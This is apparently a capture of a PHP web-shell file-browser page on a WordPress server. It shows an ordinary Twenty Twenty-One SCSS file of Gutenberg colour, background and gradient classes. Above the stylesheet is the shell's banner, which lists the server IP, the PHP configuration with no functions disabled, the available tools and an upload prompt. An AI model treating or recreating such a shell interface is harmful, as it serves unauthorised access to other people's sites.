Server IP : 170.150.155.74 / Your IP : 3.144.240.12 Web Server : Apache/2.4.53 (Debian) System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/html/wp-content/themes/twentytwentyone/assets/sass/07-utilities/ |
Upload File : |
// Gutenberg text color options .has-black-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-black, #000000); color: var(--local--color-primary); } color: var(--global--color-black); } .has-gray-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-gray, #000000); color: var(--local--color-primary); } color: var(--global--color-gray); } .has-dark-gray-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-dark-gray, #000000); color: var(--local--color-primary); } color: var(--global--color-dark-gray); } .has-green-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-green, #FFFFFF); color: var(--local--color-primary); } color: var(--global--color-green); } .has-blue-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-blue, #FFFFFF); color: var(--local--color-primary); } color: var(--global--color-blue); } .has-purple-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-purple, #FFFFFF); color: var(--local--color-primary); } color: var(--global--color-purple); } .has-red-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-red, #FFFFFF); color: var(--local--color-primary); } color: var(--global--color-red); } .has-orange-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-orange, #FFFFFF); color: var(--local--color-primary); } color: var(--global--color-orange); } .has-yellow-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-yellow, #FFFFFF); color: var(--local--color-primary); } color: var(--global--color-yellow); } .has-white-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-white, #FFFFFF); color: var(--local--color-primary); } color: var(--global--color-white); } // Gutenberg background-color options .has-background { a, p, h1, h2, h3, h4, h5, h6 { color: currentColor; } } .has-black-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-black, #000000); background-color: var(--local--color-background); } background-color: var(--global--color-black); } .has-dark-gray-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-dark-gray, #000000); background-color: var(--local--color-background); } background-color: var(--global--color-dark-gray); } .has-gray-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-gray, #000000); background-color: var(--local--color-background); } background-color: var(--global--color-gray); } .has-light-gray-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-light-gray, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-light-gray); } .has-green-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-green, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-green); } .has-blue-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-blue, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-blue); } .has-purple-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-purple, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-purple); } .has-red-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-red, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-red); } .has-orange-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-orange, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-orange); } .has-yellow-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-yellow, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-yellow); } .has-white-background-color[class] { // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-background: var(--global--color-white, #FFFFFF); background-color: var(--local--color-background); } background-color: var(--global--color-white); } .has-background:not(.has-text-color) { &.has-black-background-color[class], &.has-gray-background-color[class], &.has-dark-gray-background-color[class] { color: var(--global--color-white); // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-background, #FFFFFF); // Reverse the local foreground color in darkmode .is-dark-theme & { --local--color-primary: var(--global--color-primary, #000000); } color: var(--local--color-primary, var(--global--color-primary)); } } &.has-green-background-color[class], &.has-blue-background-color[class], &.has-purple-background-color[class], &.has-red-background-color[class], &.has-orange-background-color[class], &.has-yellow-background-color[class], &.has-white-background-color[class] { color: var(--global--color-dark-gray); // Localize CSS-variables to limit relationship scope > [class*="__inner-container"] { --local--color-primary: var(--global--color-primary, #000000); // Reverse the local foreground color in darkmode .is-dark-theme & { --local--color-primary: var(--global--color-background, #FFFFFF); } color: var(--local--color-primary, var(--global--color-primary)); } } } // Custom gradients .has-purple-to-yellow-gradient-background { background: linear-gradient(160deg, var(--global--color-purple), var(--global--color-yellow)); } .has-yellow-to-purple-gradient-background { background: linear-gradient(160deg, var(--global--color-yellow), var(--global--color-purple)); } .has-green-to-yellow-gradient-background { background: linear-gradient(160deg, var(--global--color-green), var(--global--color-yellow)); } .has-yellow-to-green-gradient-background { background: linear-gradient(160deg, var(--global--color-yellow), var(--global--color-green)); } .has-red-to-yellow-gradient-background { background: linear-gradient(160deg, var(--global--color-red), var(--global--color-yellow)); } .has-yellow-to-red-gradient-background { background: linear-gradient(160deg, var(--global--color-yellow), var(--global--color-red)); } .has-purple-to-red-gradient-background { background: linear-gradient(160deg, var(--global--color-purple), var(--global--color-red)); } .has-red-to-purple-gradient-background { background: linear-gradient(160deg, var(--global--color-red), var(--global--color-purple)); }